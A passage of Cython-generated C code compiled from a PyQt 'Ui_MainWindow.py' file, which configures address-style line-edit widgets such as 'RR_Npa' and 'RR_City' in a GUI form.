CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_2, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 452, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":453 * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.RR_Npa.sizePolicy().hasHeightForWidth()) * self.RR_Npa.setSizePolicy(sizePolicy) # <<<<<<<<<<<<<< * self.RR_Npa.setMouseTracking(False) * self.RR_Npa.setAcceptDrops(False) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Npa); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 453, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setSizePolicy); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 453, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_v_sizePolicy); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 453, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_sizePolicy}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 453, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_sizePolicy}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 453, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 453, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_INCREF(__pyx_v_sizePolicy); __Pyx_GIVEREF(__pyx_v_sizePolicy); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_v_sizePolicy); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 453, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":454 * sizePolicy.setHeightForWidth(self.RR_Npa.sizePolicy().hasHeightForWidth()) * self.RR_Npa.setSizePolicy(sizePolicy) * self.RR_Npa.setMouseTracking(False) # <<<<<<<<<<<<<< * self.RR_Npa.setAcceptDrops(False) * self.RR_Npa.setToolTip("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Npa); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 454, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setMouseTracking); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 454, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__278, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 454, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":455 * self.RR_Npa.setSizePolicy(sizePolicy) * self.RR_Npa.setMouseTracking(False) * self.RR_Npa.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.RR_Npa.setToolTip("") * self.RR_Npa.setStatusTip("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Npa); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 455, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAcceptDrops); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 455, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__279, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 455, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":456 * self.RR_Npa.setMouseTracking(False) * self.RR_Npa.setAcceptDrops(False) * self.RR_Npa.setToolTip("") # <<<<<<<<<<<<<< * self.RR_Npa.setStatusTip("") * self.RR_Npa.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Npa); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 456, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 456, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__280, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 456, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":457 * self.RR_Npa.setAcceptDrops(False) * self.RR_Npa.setToolTip("") * self.RR_Npa.setStatusTip("") # <<<<<<<<<<<<<< * self.RR_Npa.setAccessibleName("") * self.RR_Npa.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Npa); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 457, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 457, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__281, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 457, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":458 * self.RR_Npa.setToolTip("") * self.RR_Npa.setStatusTip("") * self.RR_Npa.setAccessibleName("") # <<<<<<<<<<<<<< * self.RR_Npa.setAccessibleDescription("") * self.RR_Npa.setInputMask("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Npa); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 458, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 458, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__282, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 458, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":459 * self.RR_Npa.setStatusTip("") * self.RR_Npa.setAccessibleName("") * self.RR_Npa.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.RR_Npa.setInputMask("") * self.RR_Npa.setText("R_Npa") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Npa); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 459, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 459, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__283, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 459, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":460 * self.RR_Npa.setAccessibleName("") * self.RR_Npa.setAccessibleDescription("") * self.RR_Npa.setInputMask("") # <<<<<<<<<<<<<< * self.RR_Npa.setText("R_Npa") * self.RR_Npa.setMaxLength(9) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Npa); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 460, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setInputMask); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 460, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__284, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 460, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":461 * self.RR_Npa.setAccessibleDescription("") * self.RR_Npa.setInputMask("") * self.RR_Npa.setText("R_Npa") # <<<<<<<<<<<<<< * self.RR_Npa.setMaxLength(9) * self.RR_Npa.setFrame(False) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Npa); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 461, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 461, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__285, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 461, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":462 * self.RR_Npa.setInputMask("") * self.RR_Npa.setText("R_Npa") * self.RR_Npa.setMaxLength(9) # <<<<<<<<<<<<<< * self.RR_Npa.setFrame(False) * self.RR_Npa.setReadOnly(True) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Npa); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 462, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setMaxLength); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 462, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__286, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 462, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":463 * self.RR_Npa.setText("R_Npa") * self.RR_Npa.setMaxLength(9) * self.RR_Npa.setFrame(False) # <<<<<<<<<<<<<< * self.RR_Npa.setReadOnly(True) * self.RR_Npa.setPlaceholderText("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Npa); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 463, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setFrame); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 463, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__287, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 463, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":464 * self.RR_Npa.setMaxLength(9) * self.RR_Npa.setFrame(False) * self.RR_Npa.setReadOnly(True) # <<<<<<<<<<<<<< * self.RR_Npa.setPlaceholderText("") * self.RR_Npa.setObjectName("RR_Npa") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Npa); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 464, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setReadOnly); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 464, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__288, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 464, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":465 * self.RR_Npa.setFrame(False) * self.RR_Npa.setReadOnly(True) * self.RR_Npa.setPlaceholderText("") # <<<<<<<<<<<<<< * self.RR_Npa.setObjectName("RR_Npa") * self.horizontalLayout_8.addWidget(self.RR_Npa) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Npa); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 465, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setPlaceholderText); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 465, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__289, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 465, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":466 * self.RR_Npa.setReadOnly(True) * self.RR_Npa.setPlaceholderText("") * self.RR_Npa.setObjectName("RR_Npa") # <<<<<<<<<<<<<< * self.horizontalLayout_8.addWidget(self.RR_Npa) * self.RR_City = QtWidgets.QLineEdit(self.formLayoutWidget_3) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Npa); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 466, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 466, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__290, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 466, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":467 * self.RR_Npa.setPlaceholderText("") * self.RR_Npa.setObjectName("RR_Npa") * self.horizontalLayout_8.addWidget(self.RR_Npa) # <<<<<<<<<<<<<< * self.RR_City = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_City.setMinimumSize(QtCore.QSize(290, 0)) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 467, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 467, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_Npa); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 467, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 467, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_2}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 467, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_2}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 467, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 467, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 467, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":468 * self.RR_Npa.setObjectName("RR_Npa") * self.horizontalLayout_8.addWidget(self.RR_Npa) * self.RR_City = QtWidgets.QLineEdit(self.formLayoutWidget_3) # <<<<<<<<<<<<<< * self.RR_City.setMinimumSize(QtCore.QSize(290, 0)) * self.RR_City.setMouseTracking(False) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 468, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 468, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 468, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 468, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 468, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 468, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 468, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 468, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_RR_City, __pyx_t_7) < 0) __PYX_ERR(0, 468, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":469 * self.horizontalLayout_8.addWidget(self.RR_Npa) * self.RR_City = QtWidgets.QLineEdit(self.formLayoutWidget_3) * self.RR_City.setMinimumSize(QtCore.QSize(290, 0)) # <<<<<<<<<<<<<< * self.RR_City.setMouseTracking(False) * self.RR_City.setAcceptDrops(False) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_RR_City); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 469, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setMinimumSize); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 469, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 469, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QSize); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 469, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__291, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 469, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); 